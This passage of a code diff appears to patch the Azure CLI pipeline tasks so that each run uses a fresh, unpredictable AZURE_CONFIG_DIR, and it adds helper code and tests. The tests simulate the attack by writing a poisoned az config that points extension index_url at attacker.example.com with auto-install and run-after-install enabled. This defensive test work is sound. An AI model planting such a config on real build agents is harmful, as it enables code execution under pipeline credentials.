the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/Tasks/AzureCLIV3/azureclitask.ts b/Tasks/AzureCLIV3/azureclitask.ts index 3b6b24feb1d0..6b16ded16397 100644 --- a/Tasks/AzureCLIV3/azureclitask.ts +++ b/Tasks/AzureCLIV3/azureclitask.ts @@ -10,6 +10,7 @@ import { ITaskApi } from "azure-devops-node-api/TaskApi"; import { validateAzModuleVersion } from "azure-pipelines-tasks-azure-arm-rest/azCliUtility"; import { emitTelemetry } from 'azure-pipelines-tasks-artifacts-common/telemetry'; import { tryValidateScriptArgs, ArgsSanitizingError } from "./src/argsSanitizer"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -162,7 +163,11 @@ export class azureclitask { } if (scriptType) { - await scriptType.cleanUp(); + try { + await scriptType.cleanUp(); + } catch (cleanupErr) { + tl.warning(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + } } if (this.cliPasswordPath) { @@ -254,11 +259,21 @@ export class azureclitask { } catch (e) { tl.debug(`Failed to emit token-cleanup telemetry: ${e}`); } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear` + // and `az devops configure --defaults`) so they still see the per-invocation + // profile. Removing it earlier would unset AZURE_CONFIG_DIR and cause `az` + // to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -502,10 +517,13 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; + const agentTempDir = tl.getVariable('Agent.TempDirectory'); + if (!!agentTempDir) { + // Security: create an unpredictable per-invocation + // directory so an earlier pipeline step cannot pre-seed a poisoned + // az config file at $(Agent.TempDirectory)/.azclitask/config. + this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/Tasks/AzureCLIV3/src/AzureCliConfigDir.ts b/Tasks/AzureCLIV3/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..43bf78aa070e --- /dev/null +++ b/Tasks/AzureCLIV3/src/AzureCliConfigDir.ts @@ -0,0 +1,81 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/Tasks/AzureCLIV3/task.json b/Tasks/AzureCLIV3/task.json index 91d627f76db1..b76817e4862b 100644 --- a/Tasks/AzureCLIV3/task.json +++ b/Tasks/AzureCLIV3/task.json @@ -20,7 +20,7 @@ "version": { "Major": 3, "Minor": 275, - "Patch": 8 + "Patch": 10 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "Azure CLI $(scriptPath)", diff --git a/Tasks/AzureCLIV3/task.loc.json b/Tasks/AzureCLIV3/task.loc.json index 61ae39a48d2c..35a39c783a49 100644 --- a/Tasks/AzureCLIV3/task.loc.json +++ b/Tasks/AzureCLIV3/task.loc.json @@ -20,7 +20,7 @@ "version": { "Major": 3, "Minor": 275, - "Patch": 8 + "Patch": 10 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "ms-resource:loc.instanceNameFormat", diff --git a/_generated/AzureCLIV1.versionmap.txt b/_generated/AzureCLIV1.versionmap.txt index 103bc4766df6..10c4b16eef9f 100644 --- a/_generated/AzureCLIV1.versionmap.txt +++ b/_generated/AzureCLIV1.versionmap.txt @@ -1,2 +1,2 @@ -Default|1.274.0 -Node24_1|1.274.1 +Default|1.275.0 +Node24_1|1.275.1 diff --git a/_generated/AzureCLIV1/Tests/L0.ts b/_generated/AzureCLIV1/Tests/L0.ts index 8d38bb4e86f2..5c0f36646f49 100644 --- a/_generated/AzureCLIV1/Tests/L0.ts +++ b/_generated/AzureCLIV1/Tests/L0.ts @@ -3,10 +3,15 @@ import path = require('path'); import os = require('os'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV1 Suite', function () { this.timeout(20000); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + // Use cross-platform temp directory for assertions const tempDir = require('os').tmpdir(); diff --git a/_generated/AzureCLIV1/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV1/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..d372e7f820c2 --- /dev/null +++ b/_generated/AzureCLIV1/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,133 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/_generated/AzureCLIV1/azureclitask.ts b/_generated/AzureCLIV1/azureclitask.ts index 084a8a62708b..6d6af83aaa32 100644 --- a/_generated/AzureCLIV1/azureclitask.ts +++ b/_generated/AzureCLIV1/azureclitask.ts @@ -5,6 +5,7 @@ import fs = require("fs"); import os = require("os"); import { getHandlerFromToken, WebApi } from "azure-devops-node-api"; import { ITaskApi } from "azure-devops-node-api/TaskApi"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -155,11 +156,20 @@ export class azureclitask { if (this.isLoggedIn) { this.logoutAzure(); } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear`) + // so they still see the per-invocation profile. Removing it earlier would + // unset AZURE_CONFIG_DIR and cause `az` to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -229,10 +239,13 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; + const agentTempDir = tl.getVariable('Agent.TempDirectory'); + if (!!agentTempDir) { + // Security: create an unpredictable per-invocation + // directory so an earlier pipeline step cannot pre-seed a poisoned + // az config file at $(Agent.TempDirectory)/.azclitask/config. + this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/_generated/AzureCLIV1/src/AzureCliConfigDir.ts b/_generated/AzureCLIV1/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..43bf78aa070e --- /dev/null +++ b/_generated/AzureCLIV1/src/AzureCliConfigDir.ts @@ -0,0 +1,81 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/_generated/AzureCLIV1/task.json b/_generated/AzureCLIV1/task.json index 306ecd83f468..82f5a5bf3414 100644 --- a/_generated/AzureCLIV1/task.json +++ b/_generated/AzureCLIV1/task.json @@ -19,7 +19,7 @@ "demands": [], "version": { "Major": 1, - "Minor": 274, + "Minor": 275, "Patch": 0 }, "minimumAgentVersion": "2.0.0", @@ -167,7 +167,7 @@ "ExpiredServicePrincipalMessageWithLink": "Secret expired, update service connection at %s See https://aka.ms/azdo-rm-workload-identity-conversion to learn more about conversion to secret-less service connections." }, "_buildConfigMapping": { - "Default": "1.274.0", - "Node24_1": "1.274.1" + "Default": "1.275.0", + "Node24_1": "1.275.1" } } \ No newline at end of file diff --git a/_generated/AzureCLIV1/task.loc.json b/_generated/AzureCLIV1/task.loc.json index eee42350ded6..d3e877fd19ad 100644 --- a/_generated/AzureCLIV1/task.loc.json +++ b/_generated/AzureCLIV1/task.loc.json @@ -19,7 +19,7 @@ "demands": [], "version": { "Major": 1, - "Minor": 274, + "Minor": 275, "Patch": 0 }, "minimumAgentVersion": "2.0.0", @@ -167,7 +167,7 @@ "ExpiredServicePrincipalMessageWithLink": "ms-resource:loc.messages.ExpiredServicePrincipalMessageWithLink" }, "_buildConfigMapping": { - "Default": "1.274.0", - "Node24_1": "1.274.1" + "Default": "1.275.0", + "Node24_1": "1.275.1" } } \ No newline at end of file diff --git a/_generated/AzureCLIV1_Node24/Tests/L0.ts b/_generated/AzureCLIV1_Node24/Tests/L0.ts index 8d38bb4e86f2..5c0f36646f49 100644 --- a/_generated/AzureCLIV1_Node24/Tests/L0.ts +++ b/_generated/AzureCLIV1_Node24/Tests/L0.ts @@ -3,10 +3,15 @@ import path = require('path'); import os = require('os'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV1 Suite', function () { this.timeout(20000); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + // Use cross-platform temp directory for assertions const tempDir = require('os').tmpdir(); diff --git a/_generated/AzureCLIV1_Node24/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV1_Node24/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..d372e7f820c2 --- /dev/null +++ b/_generated/AzureCLIV1_Node24/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,133 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/_generated/AzureCLIV1_Node24/azureclitask.ts b/_generated/AzureCLIV1_Node24/azureclitask.ts index 084a8a62708b..6d6af83aaa32 100644 --- a/_generated/AzureCLIV1_Node24/azureclitask.ts +++ b/_generated/AzureCLIV1_Node24/azureclitask.ts @@ -5,6 +5,7 @@ import fs = require("fs"); import os = require("os"); import { getHandlerFromToken, WebApi } from "azure-devops-node-api"; import { ITaskApi } from "azure-devops-node-api/TaskApi"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -155,11 +156,20 @@ export class azureclitask { if (this.isLoggedIn) { this.logoutAzure(); } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear`) + // so they still see the per-invocation profile. Removing it earlier would + // unset AZURE_CONFIG_DIR and cause `az` to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -229,10 +239,13 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; + const agentTempDir = tl.getVariable('Agent.TempDirectory'); + if (!!agentTempDir) { + // Security: create an unpredictable per-invocation + // directory so an earlier pipeline step cannot pre-seed a poisoned + // az config file at $(Agent.TempDirectory)/.azclitask/config. + this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/_generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts b/_generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..43bf78aa070e --- /dev/null +++ b/_generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts @@ -0,0 +1,81 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: 